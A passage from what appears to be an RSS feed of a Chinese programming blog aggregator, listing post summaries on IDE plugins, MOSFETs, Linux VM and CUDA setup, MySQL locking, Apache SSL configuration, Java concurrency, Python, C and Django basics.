      <description> 1.Lombok 简化臃肿代码插件&#xA;有了它，实体类中的get/set/构造/toString等方法，都不需要我们再手动写了，是不是很Nice！ 2.Key Promoter x 快捷键提示插件 安装之后，点击右侧的Key Promoter x，就会看到好多快捷键，或者每次都会在右下角弹窗提示，有了它，可以帮助我们快速熟悉快捷键！ 3.Alibaba Java Coding Guidelines 阿里巴巴代码规范检查插件 安装Alibaba Java Coding Guidelines插件后，idea会按照阿里Java开发手册上规范帮我们检查代码，然后对代码做不同颜色展示，鼠标放上去，会看到提示内容，帮助我们写出更规范的代码。 4.CodeGlance 显示代码缩略图插件 安装后，当代码很多的时候，方便查看，很有用。 5.Rainbow Brackets 彩虹括号插件 安装后，代码成对的括号显示相同的颜色，有了这个插件，我感觉近视都好了！ 好啦，以上就是给大家推荐的几个超级好用的IDEA插件，欢迎指正，如果觉得有用，别忘了点赞关注加评论哦！拜了个拜！！！ </description>
    </item>
    <item>
      <title>MOSFET管（MOS管）基础</title>
      <link>https://bchobby.github.io/posts/4f73498c1b3efa2dde196dc41d8b5edf/</link>
      <pubDate>Mon, 06 Feb 2023 00:11:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f73498c1b3efa2dde196dc41d8b5edf/</guid>
      <description>1场效应管和MOSFET管 1.1 什么是场效应管？ 场效应晶体管（FieldEffffect Transistor缩写(FET)）简称场效应管。它是利⽤控制输⼊回&#xA;路的电场效应来控制输出回路电流的⼀种半导体器件。由于它仅靠半导体中的多数载流&#xA;⼦导电，⼜称单极型晶体管。&#xA;场效应管属于电压控制型半导体器件。具有输⼊电阻⾼、噪声⼩、功耗低、动态范围大、易于集成、没有⼆次击穿现象、安全⼯作区域宽等优点&#xA;两种类型：&#xA;结型场效应管（junction FET—JFET)&#xA;⾦属 - 氧化物半导体场效应管（metal-oxide semiconductor FET，简称MOS-FET）&#xA;1.2 什么是MOS管？ MOS，是MOSFET的缩写。MOSFET ⾦属-氧化物半导体场效应晶体管，简称⾦氧半场效晶&#xA;体管。&#xA;⼀般是⾦属(metal)—氧化物(oxide)—半导体(semiconductor)场效应晶体管，或者称是⾦&#xA;属—绝缘体(insulator)—半导体。&#xA;MOS管属于场效应管 2 MOS管三个引脚 G:栅极(gate)&#xA;S:源极(source)&#xA;D:漏极(drain)&#xA;3 判定⽅法 G极—栅极，不⽤说⽐较好认&#xA;S极—源极，不论是P沟道还是N沟道，两根线相交的就是&#xA;D极—漏极，不论是P沟道还是N沟道，是单独引线的那边&#xA;4 寄生二极管的作用 如图，寄生二极管又称体二极管&#xA;防止Vds（漏极与源极之间的电压）过压时，烧坏MOS管&#xA;Vds过压时，寄生二极管先被反向击穿，大电流直接导向地端，从而保护mos管 防止MOS管的源极与漏极反接时烧坏MOS管&#xA;即源极接电源正极，漏极接电源负极时，电流回路通过寄生二极管流过，从而保护mos管 5 MOS管分类 5.1 按沟道分 寄生二极管指向D（漏极）为N沟道MOS管，简称NMOS；&#xA;寄生二极管指向S（源极）为P沟道MOS管，简称PMOS管&#xA;5.2 按材料分 增强型&#xA;栅极-源极电压 Vgs 为零时漏极电流为零，即截止，要Vgs正偏（“增强”）达到一定阈值才能导通 耗尽型&#xA;栅极-源极电压 Vgs 为零时漏极电流不为零，即导通 （栅极偏压就导通），”耗尽“载流子才会截止 源极和漏极结构上是对称的 栅极-源极电压可正可负 6 MOS管的特点和作用 具有输入阻抗高、开关速度快，热稳定性好，电压控制电流等优点&#xA;可作为放大器、电子开关等用途</description>
    </item>
    <item>
      <title>VM虚拟机的搭建（Linux)</title>
      <link>https://bchobby.github.io/posts/4634ea3f7d4acb2e162faf469d2e8a46/</link>
      <pubDate>Sun, 05 Feb 2023 16:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4634ea3f7d4acb2e162faf469d2e8a46/</guid>
      <description>一.VMWare的安装 这里是Vmware17的下载地址Download VMware Workstation Pro&#xA;后续就是傻瓜式安装，不多赘述&#xA;二.安装CentOs镜像 附上下载地址Download (centos.org)&#xA;三.开始搭建 打开VMware，点击创建新的虚拟机&#xA;选择典型即可&#xA;选择稍后安装&#xA;下一步，命名和选择安装位置，C盘D盘都可以&#xA;可以选择分配硬盘的大小，这里20G一般来说够用&#xA;点击下一步&#xA;可以自定义虚拟机处理器的核数和内存等&#xA;这里找到刚才下载的镜像文件&#xA;点击关闭，点击完成&#xA;之后开启虚拟机&#xA;选择安装&#xA;可以选择中文，点击继续&#xA;稍等一会，安装位置又有感叹号，点进去&#xA;可以选择联网，之后点击开始安装即可&#xA;设置ROOT密码用来登录Linux系统，这里账号默认为root&#xA;得到这个界面，耐心等待&#xA;重启&#xA;输入对应的账号root 和密码，即可登录成功，完成简单搭建。&#xA;若启动时未加载网卡，因此IP地址初始化失败&#xA;此时&#xA;cd /&#xA;cd etc&#xA;cd sysconfig&#xA;cd network-scripts&#xA;vi ifcfg-ens33&#xA;输入i，进入编辑模式，将最后一行的onboot改为yes即可&#xA;之后按下esc，输入“：wq”保存推退出&#xA;之后再次进行查看，发现没问题&#xA;四.FinalShell的安装 利用finalShell来操作Linux系统会比较方便&#xA;附上下载地址http://www.hostbuf.com/downloads/finalshell_install.exe，默认安装即可。&#xA;选择SSH连接&#xA;名称自定义&#xA;主机为虚拟机IP地址，输入用户名root，密码&#xA;虚拟机ip可在VM中打开虚拟机输入ip addr查看&#xA;连接即可。&#xA;五.Jdk的安装 官网下载jdk8选择Linux系统，这里下载二进制包&#xA;首先将二进制包上传到Linux系统&#xA;解压安装包，使用命令 tar -zxvf jdk... -C /usr/local&#xA;之后配置环境变量&#xA;使用vim命令修改/etc/profile文件&#xA;在文件末尾加入&#xA;退出后，输入source /etc/profile使修改生效&#xA;输入java -version</description>
    </item>
    <item>
      <title>新年新气象，努力奋上新时代</title>
      <link>https://bchobby.github.io/posts/ca913dcec48415baee3c341365c7e5f5/</link>
      <pubDate>Sun, 05 Feb 2023 12:06:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca913dcec48415baee3c341365c7e5f5/</guid>
      <description>光阴似箭，日月如梭。转眼间已经到了2023年。刚步入大学半年的我多多少少还是会有些迷茫。面对当今社会严峻的就业形势。无数大学生的我深感焦虑。古人云；天降大任于是人也，必先苦其心志，劳其筋骨，饿其体肤。空乏其身，行必乱其所为，所以动心忍性，增益其所不能。每个普通人和没有先天因素飞人。在成功之前都是需要经历磨练的。作为一名当代的大学生。我们生逢其时，生在大好和平时代。又遇上逢百年未有之大变局。我们只有把握好现在，去做好需要做好的事情，并学习知识，强健体魄提升自己。根据自身的优势和劣势并结合自己所学的专业进行长远的规划和当前的小规划去实现目标。有一个好的规划能够给自己指明前进的方向。就像大海上有指明方向的海灯。就像俞敏洪所说：&#34;遥望梦想前方，伸手触及希望，不畏雨雪风霜，何惧世事无常，在奋斗的路上，锁定目标不张望，奔向勇敢者的天堂，人生之路，说长也不长，在挫折的磨砺中，渐渐成长，责任担在肩膀，前程闪耀光芒。还有毛泽东说的；要想不经过艰难曲折，不付出极大的努力，总是一帆风顺，容易得到成功，这种想法只是幻想。不经历风雨怎见彩虹。广大青年牢记党的教诲，立志民族复兴，不负韶华，我们大学生在大学中要想有所进步和发展就要刻苦努力，奋勇当先，在自己的专业上要循序渐进更加优秀，助力祖国的发展。时刻关注那些祖国发展所面临的难题，虽然暂时没有到那种可以为领域做贡献的的能力，但只要一步一个脚印走下去肯定会走向成功的殿堂。</description>
    </item>
    <item>
      <title>索命一问：一个SQL ，怎么分析加了哪些锁？</title>
      <link>https://bchobby.github.io/posts/d0540c0a2fff33fec6e8ea7958fc9878/</link>
      <pubDate>Sun, 05 Feb 2023 10:58:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0540c0a2fff33fec6e8ea7958fc9878/</guid>
      <description>背景说明： 美团问数据库应该是非常多的，尤其喜欢考手写 SQL 然后问你这个 SQL 语句上面加了哪些锁，&#xA;你会发现其他厂面试基本很少会这样考，所以很多小伙伴遇到这种问题的时候都是一脸懵逼，&#xA;可以说是“夺命一问”&#xA;此文，40岁老架构师尼恩，用自己的深厚内功，为大家梳理了 加锁的四大场景、八大规则，&#xA;把这个 “夺命一问”， 彻底攻克。&#xA;现在把这个 题目以及参考答案，收入咱们的 《尼恩Java面试宝典》，&#xA;供后面的小伙伴参考，提升大家的 3高 架构、设计、开发水平。&#xA;注：本文以 PDF 持续更新，最新尼恩 架构笔记、面试题 的PDF文件，请从这里获取：码云&#xA;加锁的场景分析 场景1：唯一索引等值查询 场景1.1、查询的记录存在场景1.2、查询的记录不存在 场景 2：唯一索引范围查询场景 3：非唯一索引等值查询 场景3.1、查询的记录存在场景3.2、查询的记录不存在 场景 4：非唯一索引范围查询 接下来，按照以上4大场景，进行 sql 加锁的分析。&#xA;回顾一下，InnoDB 三种行锁：&#xA;Record Lock（记录锁）：锁住某一行记录Gap Lock（间隙锁）：锁住一段左开右开的区间Next-key Lock（临键锁）：锁住一段左开右闭的区间 哪些语句上面会加行锁？&#xA;1）对于常见的 DML 语句（如 UPDATE、DELETE 和 INSERT ），InnoDB 会自动给相应的记录行加写锁&#xA;2）默认情况下对于普通 SELECT 语句，InnoDB 不会加任何锁，但是在 Serializable 隔离级别下会加行级读锁&#xA;上面两种是隐式锁定，InnoDB 也支持通过特定的语句进行显式锁定：&#xA;3）SELECT * FROM table_name WHERE ... FOR UPDATE，加行级写锁&#xA;4）SELECT * FROM table_name WHERE .</description>
    </item>
    <item>
      <title>（附源码）SSM仓库管理系统 毕业设计 061015</title>
      <link>https://bchobby.github.io/posts/8d575914b923618d9da24dfd33fe372f/</link>
      <pubDate>Sun, 05 Feb 2023 10:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d575914b923618d9da24dfd33fe372f/</guid>
      <description>SSM仓库管理系统&#xA;摘要&#xA;本论文主要论述了如何使用java语言开发一个SSM仓库管理系统，本系统将严格按照软件开发流程进行各个阶段的工作，采用B/S架构，面向对象编程思想进行项目开发。在引言中，作者将论述仓库管理系统的当前背景以及系统开发的目的，后续章节将严格按照软件开发流程，对系统进行各个阶段分析设计。&#xA;SSM仓库管理系统的主要使用者分为管理员、和用户，实现功能包括：首页、用户管理（管理员、用户）、更多管理（商品库存管理、入库申请管理、出库申请管理、过户申请管理、仓库费用管理等）由于本网站的功能模块设计比较全面，所以使得整个仓库管理系统的过程得以完善。本系统的使用可以实现仓库管理的信息化，可以方便管理员进行更加方便快捷的管理，可以提高仓库管理的管理效率。&#xA;关键词：MYSQL数据库；仓库管理；SSM框架&#xA;SSM warehouse management system&#xA;Abstract&#xA;This paper mainly discusses how to use java language to develop an SSM warehouse management system. This system will carry out the work of each stage in strict accordance with the software development process, and adopt B / S architecture and object-oriented programming idea for project development. In the introduction, the author will discuss the current background of the warehouse management system and the purpose of system development.</description>
    </item>
    <item>
      <title>配置安全的linux-apache服务器（5）</title>
      <link>https://bchobby.github.io/posts/1523c14cc87330ca14d94dad6bfd6799/</link>
      <pubDate>Sun, 05 Feb 2023 02:35:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1523c14cc87330ca14d94dad6bfd6799/</guid>
      <description>实验简介&#xA;实验所属系列：Linux网络服务配置与安全&#xA;实验对象： 本科/专科信息安全专业、网络工程&#xA;相关课程及专业：系统安全配置、服务器配置、计算机网络&#xA;实验时数（学分）：2学时&#xA;实验类别：实践实验类&#xA;预备知识&#xA;虚拟主机简介&#xA;虚拟主机（Virtual Host）是指在一台主机上运行的多个Web 站点，每个站点均有自己独立的域名或IP地址。虚拟主机允许为不同的IP地址、主机名或同一机器上的不同端口运行不同的服务器站点。譬如，可以在同一个web服务器上使用虚拟主机来运行 http://www.example.com 和 http://www.anotherexample.com 这两个网站。虚拟主机对用户是透明的，就好像每个站点都在单独的一台主机上运行一样。&#xA;SSL介绍&#xA;默认情况下，客户端使用http协议访问apache服务器，服务器和它的客户之间的通信就不会被加密，这并不能保证数据传输过程中的安全。对于索求信用卡信息的电子商务网站需要更加可靠的传输，而SSL加密连接可以帮助浏览者更加安全可靠的传输数据。使用SSL的是HTTPS协议。&#xA;在搭建安全的apache服务器，配置使用基于SSL的HTTPS协议之前，先了解一些证书的一些基本概念。&#xA;SSL证书可以在客户端浏览器和Web服务器之间建立一条SSL安全通道。首先要有一个根证书，然后用根证书来签发服务器证书和客户证书。SSL必须安装服务器证书来认证，在此环境中，通常有三个证书：根证书，服务器证书，客户端证书。在生成证书之前，一般会有一个私钥，用私钥生成证书请求，最后利用证书服务器的根证来签发证书。&#xA;实验目的&#xA;Apache是一种开放源码的HTTP服务器，由于其多平台和安全性而被广泛使用，是最流行的Web服务器端软件之一。本实验首先通过基本配置演示了如何在redhat linux环境下搭建多个基于apache服务器的虚拟主机。在此基础上，进一步完成了基于apache服务器的安全配置，包括基于用户名的认证、基于IP地址的认证以及使用https协议进行双向认证的过程。&#xA;实验环境&#xA;测试系统：&#xA;CentOS IP:10.1.1.47&#xA;WinXP IP:10.1.1.215&#xA;所需软件：httpd-2.2.15-5.el6.i686.rpm、openssl-0.9.8l.tar.gz、od_ssl-2.8.0-1.3.17.tar.gz&#xA;实验步骤一&#xA;基本配置：安装和启动Apache服务器&#xA;1、Apache软件的安装&#xA;在RHEL6.0中可以通过两种方式安装Apache服务器。一种是在RHEL6.0光盘上找到自带的httpd-2.2.14-5.el6.i686.rpm软件包。本次实验使用的是centos，软件包已提前下载好。&#xA;其中，httpd-manual-2.2.15-5.el6.noarch.rpm是Apache相关的帮助手册。&#xA;使用rpm命令安装httpd-2.2.15，如果出现如下安装包的依赖问题&#xA;先用rpm -ivh httpd-tools-2.2.15-86.2.x86_64.rpm安装httpd-tools，然后再执行上述安装命令即可。&#xA;系统安装成功后，会创建/etc/httpd及相关的目录。&#xA;在/etc/httpd中的文件和目录的作用如下：&#xA;（1）/etc/httpd/conf/httpd.conf: Apache的主配置文件。&#xA;（2）/etc/httpd/logs：其实是符号链接，指向/var/log/httpd目录，用于存放Apache服务相关的日志文件。&#xA;（3）/etc/httpd/modules：符号链接，指向/usr/lib/httpd/modules目录，用于存放Apache服务相关的模块。&#xA;此外，和apache服务相关的文件及目录还有：&#xA;（4）/usr/sbin/apachectl： Apache控制脚本，用于启动、停止、重启服务。&#xA;（5）/usr/sbin/httpd: Apache服务器的程序文件。&#xA;（6）/usr/share/doc/httpd-2.2.14：Apache说明文档目录。&#xA;（7）/var/www: Apache提供的默认网站存放目录。&#xA;2、Apache 服务器的启动和停止&#xA;当安装完Apache服务器后，如果想让其提供Web服务还必须启动它。&#xA;（1）使用service命令来启动和重新启动Apache服务器：&#xA;#service httpd start 和 #service httpd restart&#xA;（2）使用控制脚本来启动和停止服务&#xA;#/usr/sbin/apachectl start 和 #/usr/sbin/apachectl stop</description>
    </item>
    <item>
      <title>常见的锁策略、CAS及它的ABA问题</title>
      <link>https://bchobby.github.io/posts/ea34d5a2f7284d0db879813e5abe7ea5/</link>
      <pubDate>Sat, 04 Feb 2023 23:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea34d5a2f7284d0db879813e5abe7ea5/</guid>
      <description>目录&#xA;前言&#xA;一、常见的锁策略&#xA;1.1 乐观锁 vs 悲观锁&#xA;1.2 普通的互斥锁 vs 读写锁&#xA;1.3 重量级锁 vs 轻量级锁&#xA;1.4 自旋锁 vs 挂起等待锁&#xA;1.5 公平锁 vs 非公平锁&#xA;1.6 可重入锁 vs 不可重入锁&#xA;二、CAS&#xA;2.1 CAS典型应用场景&#xA;2.1.1 使用CAS实现原子类&#xA;2.1.2 使用CAS实现自旋锁&#xA;2.2 CAS中的ABA问题（小概率bug）&#xA;2.2.1 什么是ABA问题&#xA;2.2.2 ABA问题引发的bug&#xA;2.2.3 解决ABA问题的办法&#xA;前言 前面所介绍的 多线程基础篇的内容，主要介绍的还是一些 和多线程相关性非常高的内容，也都是工作中经常会涉及到的问题和代码~&#xA;而接下来的多线程进阶篇的内容，则是需要对多线程内容进行进一步的补充~&#xA;进阶篇中的很多知识，不再是工作中常用的，但是却是在面试中常考的（俗称：八股文，面试造核弹，工作拧螺丝）~&#xA;下面，就正式开始来学习 进阶篇的内容 ...... 一、常见的锁策略 简单通俗的来说，锁策略就是 加锁的时候是咋加的~（锁策略也是一个锁的形容词）&#xA;1.1 乐观锁 vs 悲观锁 乐观锁：预测接下来锁冲突的概率不大，就会少做一点工作，成本更小~&#xA;悲观锁：预测接下来锁冲突的概率很大，就会多做一点工作，成本更大~&#xA;比如说，就前段时间，西安那边又有确诊的了~&#xA;有居民就比较紧张，就在想是不是要在家里屯点菜啥的（疫情会引起封城，封城会影响买菜），提前屯点菜以备不时之需~&#xA;这个就可以看作是 悲观锁，花费所需成本较大（买菜、运菜、放在地上......）~&#xA;当时有居民却认为，由于之前已经有过几次确诊的经历，所以说 已经有了不少经验了，所以封城的概率比较小，不需要提前屯菜（屯了吃不完大概率会坏）~&#xA;这个就可以看作是 乐观锁，话费所需成本更小~ synchronized 就既是一个悲观锁，也是一个乐观锁，准确的来说 它是一个自适应锁~</description>
    </item>
    <item>
      <title>Qt·.·.解决QString中文字符转cv::String乱码</title>
      <link>https://bchobby.github.io/posts/57c6143e52aac111fb0569783b57b68a/</link>
      <pubDate>Sat, 04 Feb 2023 22:16:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57c6143e52aac111fb0569783b57b68a/</guid>
      <description> Qt·.·.解决QString中文字符转cv::String乱码 成功解决方案 有效：使用函数toLocal8Bit().toStdString()&#xA;// QString中文字符转cv::String，有效方案 mImageFolder = QString::fromLocal8Bit(&#34;D:/Xu Wenyu/透镜阵列3D显示系统/样本图像/690帧渲染/&#34;); cv::String fileName = mImageFolder.toLocal8Bit().toStdString(); 失效方案 无效：使用函数toStdString()&#xA;// QString中文字符转cv::String，失效方案 mImageFolder = QString::fromLocal8Bit(&#34;D:/Xu Wenyu/透镜阵列3D显示系统/样本图像/690帧渲染/&#34;); cv::String fileName2 = mImageFolder.toStdString(); </description>
    </item>
    <item>
      <title>【详细】Ubuntu18.04安装更新显卡驱动、安装CUDA及cuDNN、CUDA版本切换</title>
      <link>https://bchobby.github.io/posts/f8f87a2dc64ef8f0dc29850b8003f8e8/</link>
      <pubDate>Sat, 04 Feb 2023 22:15:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8f87a2dc64ef8f0dc29850b8003f8e8/</guid>
      <description>CUDA安装官方教程：官方教程&#xA;cuDNN安装官方教程：官方教程&#xA;在配置Pytorch环境的时候，想着尝试一下新版本的pytorch版本Stable(1.10.1)时，发现这个pytorch版本仅支持CUDA10.2和CUDA11.3,故我就得更新以下当前的CUDA版本，也就有了下面这篇文档教程，注：虚拟机无法安装CUDA。&#xA;查看CUDA版本以及GPU驱动对应关系：NVIDIA&#xA;通过查上面的表可以知道，如果要使用CUDA11.3,需要将显卡驱动更新到&amp;gt;=465.19.01（Linux x86_64环境）&#xA;首先打开终端查看当前CUDA版本和GPU驱动版本输入如下命令&#xA;nvidia-smi +-----------------------------------------------------------------------------+ | NVIDIA-SMI 470.94 Driver Version: 470.94 CUDA Version: 11.4 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | | | | MIG M. | |===============================+======================+======================| | 0 NVIDIA GeForce ... Off | 00000000:01:00.0 On | N/A | | N/A 30C P8 6W / N/A | 629MiB / 3911MiB | 30% Default | | | | N/A | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: | | GPU GI CI PID Type Process name GPU Memory | | ID ID Usage | |=============================================================================| | 0 N/A N/A 1549 G /usr/lib/xorg/Xorg 244MiB | | 0 N/A N/A 1722 G /usr/bin/gnome-shell 52MiB | | 0 N/A N/A 2329 G /usr/lib/firefox/firefox 324MiB | | 0 N/A N/A 2467 G /usr/lib/firefox/firefox 1MiB | | 0 N/A N/A 2862 G /usr/lib/firefox/firefox 1MiB | +-----------------------------------------------------------------------------+ Driver Version: 470.</description>
    </item>
    <item>
      <title>Python 字典排序的两种技巧</title>
      <link>https://bchobby.github.io/posts/22f971079c622c4cbfc2d60b3db97ef5/</link>
      <pubDate>Sat, 04 Feb 2023 20:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22f971079c622c4cbfc2d60b3db97ef5/</guid>
      <description>引言&#xA;Dictionary 是一种重要的数据结构，它通过将 key 与 value 进行映射来存储数据。Python 中的默认字典是无序数据结构。与列表一样，我们可以使用 sorted()函数按键对字典进行排序。但是，它只返回一个根据 key 排序的列表，这通常不是我们所希望的。我们可能希望它按 value 而不是按 key 进行排序，或者我们可能希望它返回一个已排序的字典而不是一个列表。在本文中，我将讨论两种简单的方法，我们可以使用这两种方法对 Python 字典进行排序，并返回您所希望的结果。&#xA;整理一个列表&#xA;既然我们在讨论排序，我想首先指出这两个排序函数之间的一个非常重要的区别。让我们来看看列表之间的区别。假设我们有两个列表：&#xA;我们有两种对列表进行排序的方法，一种是使用 sort()进行 in-place 排序，另一种是使用 sorted() ，这不是 in-place 排序。不同之处在于，当使用 sort()时，您将更改原始列表，而 sorted()将返回一个新列表，而不更改原始列表。如下所示：&#xA;选用哪一种取决于实际情况。例如，如果您想保留原始记录，那么您应该使用 sorted()。如果希望节省空间和内存，那么应该使用 sort()。&#xA;整理一个字典&#xA;让我们创建一个字典：&#xA;在这里使用“ zip”函数非常方便，我们将两个长度相同的列表中的元素映射到一起。&#xA;为了对字典进行排序，我们必须使用 sorted() ，因为字典没有内嵌的 sort()函数：&#xA;如果我们直接使用 sorted() ，函数将只返回字典中的 key 列表:&#xA;或者一个 value 列表：&#xA;我们可以调用字典中的 items()函数按 key 对它进行排序，并返回一个元组列表：&#xA;如果我们想按相反的顺序排序 key，我们可以在排序函数中指定它：&#xA;如果我们想要按 value 进行排序呢？有两种方法可以做到这一点。一种是使用 sorted() ，但是指定使用 lambda 函数进行排序的关键；另一种是不使用默认字典类型，而是使用不同的字典类型，直接按 value 对字典进行排序。&#xA;对于第一个方法，sorted 函数是使用一个 key 参数，用于指定在进行比较之前对每个元素调用的函数(或其他可调用的函数)。在这里，我们可以使用 lambda 函数来告诉 sorted()函数使用元素的哪一部分进行比较。具体来说：</description>
    </item>
    <item>
      <title>uni - app 内置css变量</title>
      <link>https://bchobby.github.io/posts/6a11da4a1601177c0b2edd7aa41d0f98/</link>
      <pubDate>Sat, 04 Feb 2023 20:18:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a11da4a1601177c0b2edd7aa41d0f98/</guid>
      <description> 不使用css内置变量，出现兼容性问题： position: fixed; top: 0; left: 0; z-index: 10; 对导航栏进行固定定位的时候，在 h5端 会出现问题，因为 h5端 没有小程序的那种头部修饰，所以固定到顶会被覆盖隐藏&#xA;使用CSS内置变量： position: fixed; top: var(--window-top); left: 0; </description>
    </item>
    <item>
      <title>C语言对于char*和char[]的理解</title>
      <link>https://bchobby.github.io/posts/dbf5f62ad2baf0096cf2f7029419db7e/</link>
      <pubDate>Sat, 04 Feb 2023 20:10:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbf5f62ad2baf0096cf2f7029419db7e/</guid>
      <description>C语言对于char*和char[]的理解 1、char*和char[]的共同点2、char*的用法3、char[]的用法4、怎么输出char*地址5、strlen和sizeof6、char*和string7、总结Reference 1、char*和char[]的共同点 都是指针，指向第一个字符所在的地址，C语言指针可以代替数组使用。&#xA;指针也是一种变量，只不过它的内存单元中保存的是一种标识其他位置的地址，而地址也是整数，在32位平台下，就是32位，4个字节&#xA;指针的指向是指 指针变量所保存的其他的地址单元中 所存放的数据类型。&#xA;int *ptr; //ptr指针保存的地址所在内存单元中的数据类型是整型 float *p; //这个p指针指向的内存地址存放的元素类型就是浮点型 而不管指向的数据类型是哪种，其实对于指针本身的值永远是整型，因为它保存的地址就是整数。&#xA;2、char*的用法 3、char[]的用法 //char[] char a[20] = &#34;aaa&#34;; char b[] = &#34;bbbbb&#34;; char c[] = {&#39;s&#39;,&#39;t&#39;,&#39;r&#39;,&#39;i&#39;,&#39;n&#39;,&#39;g&#39;,&#39;\0&#39;}; char d[] = {&#34;dddd&#34;}; //一般这样初始化 char num[20] = {0}; //初始化的目的是为了添加\0，否则\0会跑到莫名其妙的地方导致很多错误。 //ASCII码中0对应的是nul符，即\0。这一行的意义就是给0~19都赋\0。 4、怎么输出char*地址 虽然指针名就代表的是地址，但在输出时需要加&amp;amp;，仅限cout。&#xA;const char* p = &#34;ppp&#34;; cout&amp;lt;&amp;lt;&amp;amp;p&amp;lt;&amp;lt;endl; //地址 方法一 cout&amp;lt;&amp;lt;(void*)p&amp;lt;&amp;lt;endl;//地址 方法二 cout&amp;lt;&amp;lt;p&amp;lt;&amp;lt;endl; //ppp const char* a = &#34;ppp&#34;; printf(&#34;%p \n&#34;, a); //16进制地址，不过 %p的输出格式并不统一，有的编译器带0x前缀，有的不带 printf(&#34;%#X \n&#34;, a);//16进制地址，前缀统一是0x printf(&#34;%s \n&#34;</description>
    </item>
    <item>
      <title>Elasticsearch-分布式搜索引擎介绍</title>
      <link>https://bchobby.github.io/posts/b7ef60cf49b4f02e613678145fd47459/</link>
      <pubDate>Sat, 04 Feb 2023 19:24:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7ef60cf49b4f02e613678145fd47459/</guid>
      <description>简介 Elaticsearch，简称为es， es是一个开源的高扩展的分布式全文检索引擎，它可以近乎实时的存储、检索数据；本身扩展性很好，可以扩展到上百台服务器，处理PB级别的数据。es也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能，但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性，从而让全文搜索变得简单。&#xA;术语 文档（Document） ElasticSearch（简称 ES） 是面向文档的，文档是所有可搜索数据的最小单位。&#xA;给大家举几个例子，让大家更形象地理解什么是文档：&#xA;日志文件中日志项一本电影的具体信息、一张唱片的详细信息MP3 播放器里的一首歌、一篇 PDF 文档中的具体内容一条客户数据、一条商品分类数据、一条订单数据 大家可以把文档理解为关系型数据库中的一条记录。&#xA;在 ES 中文档会被序列化成 JSON 格式，保存在 ES 中，JSON 对象由字段组成，其中每个字段都有对应的字段类型（字符串/数组/布尔/日期/二进制/范围类型）。&#xA;在 ES 中，每个文档都有一个 Unique ID，可以自己指定 ID 或者通过 ES 自动生成。&#xA;索引（Index） 索引简单来说就是相似结构文档的集合，比如可以有一个客户索引，商品分类索引，订单索引，索引有一个名称，一个索引可以包含很多文档，一个索引就代表了一类类似的或者相同的文档，比如说建立一个商品索引，里面可能就存放了所有的商品数据，也就是所有的商品文档。每一个索引都是自己的 Mapping 定义文件，用来去描述去包含文档字段的类型，分片（Shard）体现的是物理空间的概念，索引中的数据分散在分片上。&#xA;在一个的索引当中，可以去为它设置 Mapping 和 Setting，Mapping 定义的是索引当中所有文档字段的类型结构，Setting 主要是指定要用多少的分片以及数据是怎么样进行分布的。&#xA;类型（Type） 在 7.0 之前，每一个索引是可以设置多个 Types 的，每个 Type 会拥有相同结构的文档，但是在 6.0 开始，Type 已经被废除，在 7.0 开始，一个索引只能创建一个 Type，也就是 _doc。&#xA;每个索引里都可以有一个或多个 Type，Type 是索引中的一个逻辑数据分类，一个 Type 下的文档，都有相同的字段（Field），比如博客系统，有一个索引，可以定义用户数据 Type，博客数据 Type，评论数据 Type 等。&#xA;集群（Cluster） ES 集群其实是一个分布式系统，要满足高可用性，高可用就是当集群中有节点服务停止响应的时候，整个服务还能正常工作，也就是服务可用性；或者说整个集群中有部分节点丢失的情况下，不会有数据丢失，即数据可用性。</description>
    </item>
    <item>
      <title>Django的基础操作以及快速上手</title>
      <link>https://bchobby.github.io/posts/57b61d031f0c82be26dbe49268af3f52/</link>
      <pubDate>Sat, 04 Feb 2023 18:49:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57b61d031f0c82be26dbe49268af3f52/</guid>
      <description>目录&#xA;一、安装Django&#xA;二、创建项目&#xA;1、终端操作&#xA;2、默认项目的文件&#xA;三、创建APP&#xA;四、快速上手&#xA;1、页面编写&#xA;2、templates模板&#xA;3、静态文件&#xA;4、模板语法&#xA;五、请求和响应&#xA;案例：用户登录&#xA;六、数据库操作&#xA;1、安装第三方模块&#xA;2、ORM&#xA;Django操作表&#xA;Django操作表数据&#xA;七、案例：用户列表&#xA;1、展示用户列表&#xA;2、用户添加&#xA;3、用户删除&#xA;Python知识点：函数、面向对象。&#xA;前端开发：HTML、CSS、JavaScript、jQuery、BootStrap。&#xA;MySQL数据库。&#xA;Python的Web框架：&#xA;Flask，自身短小精悍 + 第三方组件。&#xA;Django，内部已集成了很多组件 + 第三方组件。【主要】&#xA;一、安装Django pip install django&#xA;- python.exe&#xA;- Scripts&#xA;- pip.exe&#xA;- django-admin.exe 【工具，创建django项目中的文件和文件夹】&#xA;- Lib&#xA;- 内置模块&#xA;- site-packages&#xA;- openpyxl&#xA;- python-docx&#xA;- flask&#xA;- django 【框架的源码】&#xA;二、创建项目 django中项目会有一些默认的文件和默认的文件夹。&#xA;1、终端操作 打开终端。进入某个目录（项目放在哪里）。 C:\Users\Administrator&amp;gt;d:&#xA;D:\&amp;gt;cd Django&#xA;执行命令创建项目 django-admin startproject 文件夹名称</description>
    </item>
    <item>
      <title>(day10) 自学Java——常见算法和Lambda</title>
      <link>https://bchobby.github.io/posts/0b7a127a6039d4bb8a52dd173be3c130/</link>
      <pubDate>Sat, 04 Feb 2023 13:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b7a127a6039d4bb8a52dd173be3c130/</guid>
